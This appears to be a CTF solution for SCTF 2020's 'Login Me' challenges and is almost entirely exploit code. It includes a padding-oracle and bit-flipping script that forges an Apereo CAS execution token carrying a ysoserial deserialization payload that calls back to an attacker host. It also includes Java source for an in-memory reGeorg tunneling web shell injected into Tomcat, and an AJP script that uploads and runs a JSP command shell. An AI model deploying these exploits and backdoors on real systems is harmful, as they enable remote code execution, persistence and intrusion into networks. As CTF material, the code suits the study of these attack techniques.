SCTF 2020 两道Login Me预期解的核心技术

payload = gzip(Java Serialized data)
body = aes128_cbc_encode(key, iv, payload))
header = '/x00/x00/x00/x22/x00/x00/x00/x10'+iv+'/x00/x00/x00/x06'+'aes128'
excution = uuid + b64encode(header + body)

cipher = aes128_cbc_encode(iv + gzip(Java Serialized data))
data = b64encode(cipher)
jwsToken = jws.sign(data, jws_key, algorithm=‘HS512’)
excution = uuid + b64encode(jwsToken)

from jose import jws
from Crypto.Cipher import AES
from cStringIO import StringIO
from multiprocessing.pool import ThreadPool
import time
import requests
import base64
import zlib
import uuid
import binascii
import json
import subprocess
import requests
import re

start_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())

iv = uuid.uuid4().bytes
header_mode = '/x00/x00/x00/x22/x00/x00/x00/x10{iv}/x00/x00/x00/x06aes128'

JAR_FILE = 'ysoserial-0.0.6-SNAPSHOT-all.jar'
URL= "http://ip:port/login"


headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:66.0) Gecko/20100101 Firefox/66.0","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"}

cookies = {"JSESSIONID":"ADF6653ED3808BE63B052BCED53494A3"}

def base64Padding(data):
	missing_padding = 4 - len(data) % 4
	if missing_padding and missing_padding != 4:
		data += '=' * missing_padding
	return data

def compress(data):
	gzip_compress = zlib.compressobj(9, zlib.DEFLATED, zlib.MAX_WBITS | 16)
	data = gzip_compress.compress(data) + gzip_compress.flush()
	return data

def bitFlippingAttack(fake_value, orgin_value):
	iv = []
	for f, o in zip(fake_value, orgin_value):
		iv.append(chr(ord(f) ^ ord(o)))
	return iv

def pad_string(payload):
	BS = AES.block_size
	pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
	return pad(payload)

def send_request(paramsPost,w):
	response = requests.post(URL, data=paramsPost, headers=headers, cookies=cookies, allow_redirects=False)
	return w, response

def paddingOracle(value):
	fakeiv = list(chr(0)*16)
	intermediary_value_reverse = []
	for i in range(0, 16):
		num = 16
		response_result = []

		for j in range(0, 256-num+1, num):
			jobs = []
			pool = ThreadPool(num)
			for w in range(j, j + num):
				fakeiv[N-1-i] = chr(w)
				#print(fakeiv)
				fake_iv = ''.join(fakeiv)
				paramsPost = {"execution":"4a538b9e-ecfe-4c95-bcc0-448d0d93f494_" + base64.b64encode(header + body + fake_iv + value),"password":"admin","submit":"LOGIN","_eventId":"submit","lt":"LT-5-pE3Oo6oDNFQUZDdapssDyN4C749Ga0-cas01.example.org","username":"admin"}
				job = pool.apply_async(send_request, (paramsPost,w))
				jobs.append(job)

			pool.close()
			pool.join()

			for w in jobs:
				j_value, response = w.get()
				#print(response)
				if response.status_code == 200:
					print("="*5 + "200" + "="*5)
					response_result.append(j_value)
		print(response_result)

		if len(response_result) == 1:
			j_value  = response_result[0]
			intermediary_value_reverse.append(chr((i+1) ^ j_value))
			for w in range(0, i+1):
				try:
					fakeiv[N-w-1] = chr(ord(intermediary_value_reverse[w]) ^ (i+2))
				except Exception as e:
					print(fakeiv, intermediary_value_reverse, w, i+1)
					print(base64.b64encode(value))
					print(e)
					exit()
			print(fakeiv)
		else:
			print(response_result)
			print("Exit Because count of is " + str(len(response_result)))
			exit()
		print("="*5 + "sleep" + "="*5)
		time.sleep(1)

	intermediary_value = intermediary_value_reverse[::-1]
	return intermediary_value

def pad_string(payload):
	BS = AES.block_size
	pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
	return pad(payload)

if __name__ == '__main__':
	popen = subprocess.Popen(['java', '-jar', JAR_FILE, 'JRMPClient2', 'your_ip:your_port'],stdout=subprocess.PIPE)
	payload = popen.stdout.read()
	payload = pad_string(compress(payload))

	excution = "input_excution"

	body = base64.b64decode(excution)[34:]
	header = base64.b64decode(excution)[0:34]
	iv = list(header[8:24])

	N=16

	fake_value_arr = re.findall(r'[/s/S]{16}', payload)
	fake_value_arr.reverse()

	value = body[-16:]

	payload_value_arr = [value]
	
	count = 1
	all_count = len(fake_value_arr)
	print(all_count)
	for i in fake_value_arr:
		intermediary_value = paddingOracle(value)
		print(value, intermediary_value)
		fakeIv = bitFlippingAttack(intermediary_value, i)
		value = ''.join(fakeIv)
		payload_value_arr.append(value)

		print(count, all_count)
		count += 1


	fakeiv = payload_value_arr.pop()
	payload_value_arr.reverse()

	payload = header_mode.format(iv=fakeiv) + ''.join(payload_value_arr)
	print(base64.b64encode(payload))

	end_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
	print(start_time,end_time)
	f = open('/tmp/cas.txt', 'w')
	f.write(base64.b64encode(payload))
	f.close()

package reGeorg;

import javax.servlet.*;
import java.io.IOException;

public class MemReGeorg implements javax.servlet.Filter{
    private javax.servlet.http.HttpServletRequest request = null;
    private org.apache.catalina.connector.Response response = null;
    private javax.servlet.http.HttpSession session =null;

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    public void destroy() {}
    @Override
    public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {
        javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;
        javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;
        javax.servlet.http.HttpSession session = request.getSession();
        String cmd = request.getHeader("X-CMD");
        if (cmd != null) {
            response.setHeader("X-STATUS", "OK");
            if (cmd.compareTo("CONNECT") == 0) {
                try {
                    String target = request.getHeader("X-TARGET");
                    int port = Integer.parseInt(request.getHeader("X-PORT"));
                    java.nio.channels.SocketChannel socketChannel = java.nio.channels.SocketChannel.open();
                    socketChannel.connect(new java.net.InetSocketAddress(target, port));
                    socketChannel.configureBlocking(false);
                    session.setAttribute("socket", socketChannel);
                    response.setHeader("X-STATUS", "OK");
                } catch (java.net.UnknownHostException e) {
                    response.setHeader("X-ERROR", e.getMessage());
                    response.setHeader("X-STATUS", "FAIL");
                } catch (java.io.IOException e) {
                    response.setHeader("X-ERROR", e.getMessage());
                    response.setHeader("X-STATUS", "FAIL");
                }
            } else if (cmd.compareTo("DISCONNECT") == 0) {
                java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket");
                try{
                    socketChannel.socket().close();
                } catch (Exception ex) {
                }
                session.invalidate();
            } else if (cmd.compareTo("READ") == 0){
                java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket");
                try {
                    java.nio.ByteBuffer buf = java.nio.ByteBuffer.allocate(512);
                    int bytesRead = socketChannel.read(buf);
                    ServletOutputStream so = response.getOutputStream();
                    while (bytesRead > 0){
                        so.write(buf.array(),0,bytesRead);
                        so.flush();
                        buf.clear();
                        bytesRead = socketChannel.read(buf);
                    }
                    response.setHeader("X-STATUS", "OK");
                    so.flush();
                    so.close();
                } catch (Exception e) {
                    response.setHeader("X-ERROR", e.getMessage());
                    response.setHeader("X-STATUS", "FAIL");
                }

            } else if (cmd.compareTo("FORWARD") == 0){
                java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket");
                try {
                    int readlen = request.getContentLength();
                    byte[] buff = new byte[readlen];
                    request.getInputStream().read(buff, 0, readlen);
                    java.nio.ByteBuffer buf = java.nio.ByteBuffer.allocate(readlen);
                    buf.clear();
                    buf.put(buff);
                    buf.flip();
                    while(buf.hasRemaining()) {
                        socketChannel.write(buf);
                    }
                    response.setHeader("X-STATUS", "OK");
                } catch (Exception e) {
                    response.setHeader("X-ERROR", e.getMessage());
                    response.setHeader("X-STATUS", "FAIL");
                    socketChannel.socket().close();
                }
            }
        } else {
            filterChain.doFilter(request, response);
        }
    }

    public boolean equals(Object obj) {
        Object[] context=(Object[]) obj;
        this.session = (javax.servlet.http.HttpSession ) context[2];
        this.response = (org.apache.catalina.connector.Response) context[1];
        this.request = (javax.servlet.http.HttpServletRequest) context[0];

        try {
            dynamicAddFilter(new MemReGeorg(),"reGeorg","/*",request);
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }

        return true;
    }

    public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {
        javax.servlet.ServletContext servletContext=request.getServletContext();
        if (servletContext.getFilterRegistration(name) == null) {
            java.lang.reflect.Field contextField = null;
            org.apache.catalina.core.ApplicationContext applicationContext =null;
            org.apache.catalina.core.StandardContext standardContext=null;
            java.lang.reflect.Field stateField=null;
            javax.servlet.FilterRegistration.Dynamic filterRegistration =null;

            try {
                contextField=servletContext.getClass().getDeclaredField("context");
                contextField.setAccessible(true);
                applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
                contextField=applicationContext.getClass().getDeclaredField("context");
                contextField.setAccessible(true);
                standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
                stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
                filterRegistration = servletContext.addFilter(name, filter);
                filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});
                java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
                filterStartMethod.setAccessible(true);
                filterStartMethod.invoke(standardContext, null);
                stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
            }catch (Exception e){
                ;
            }finally {
                stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
            }
        }
    }
}

import sys
import os
from io import BytesIO
from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from tomcat import Tomcat

target_host = "127.0.0.1"
gc = Tomcat(target_host, 8009)

filename = "shell.jpg"
payload = "<% out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(/"cat /flag.txt/").getInputStream())).readLine()); %>"

with open("/tmp/request", "w+b") as f:
    s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti/r/nContent-Disposition: form-data; name="file"; filename="%s"/r/nContent-Type: application/octet-stream/r/n/r/n' % filename
    s_form_footer = '/r/n------WebKitFormBoundaryb2qpuwMoVtQJENti--/r/n'
    f.write(s_form_header.encode('utf-8'))
    f.write(payload.encode('utf-8'))
    f.write(s_form_footer.encode('utf-8'))

data_len = os.path.getsize("/tmp/request")

headers = {
        "SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti",
        "SC_REQ_CONTENT_LENGTH": "%d" % data_len,
}

attributes = [
    {
        "name": "req_attribute"
        , "value": ("javax.servlet.include.request_uri", "/;/admin/upload", )
    }
    , {
        "name": "req_attribute"
        , "value": ("javax.servlet.include.path_info", "/", )
    }
    , {
        "name": "req_attribute"
        , "value": ("javax.servlet.include.servlet_path", "", )
    }
, ]

hdrs, data = gc.perform_request("/", headers=headers, method="POST",  attributes=attributes)

with open("/tmp/request", "rb") as f:
    br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)
    responses = br.send_and_receive(gc.socket, gc.stream)

r = AjpResponse()
r.parse(gc.stream)

shell_path = r.data.decode('utf-8').strip('/x00').split('/')[-1]
print("="*50)
print(shell_path)
print("="*50)

gc = Tomcat('127.0.0.1', 8009)

attributes = [
    {"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "/",)},
    {"name": "req_attribute", "value": ("javax.servlet.include.path_info", shell_path,)},
    {"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "/",)},
]
hdrs, data = gc.perform_request("/uploads/1.jsp", attributes=attributes)
output = sys.stdout

for d in data:
    try:
        output.write(d.data.decode('utf8'))
    except UnicodeDecodeError:
        output.write(repr(d.data))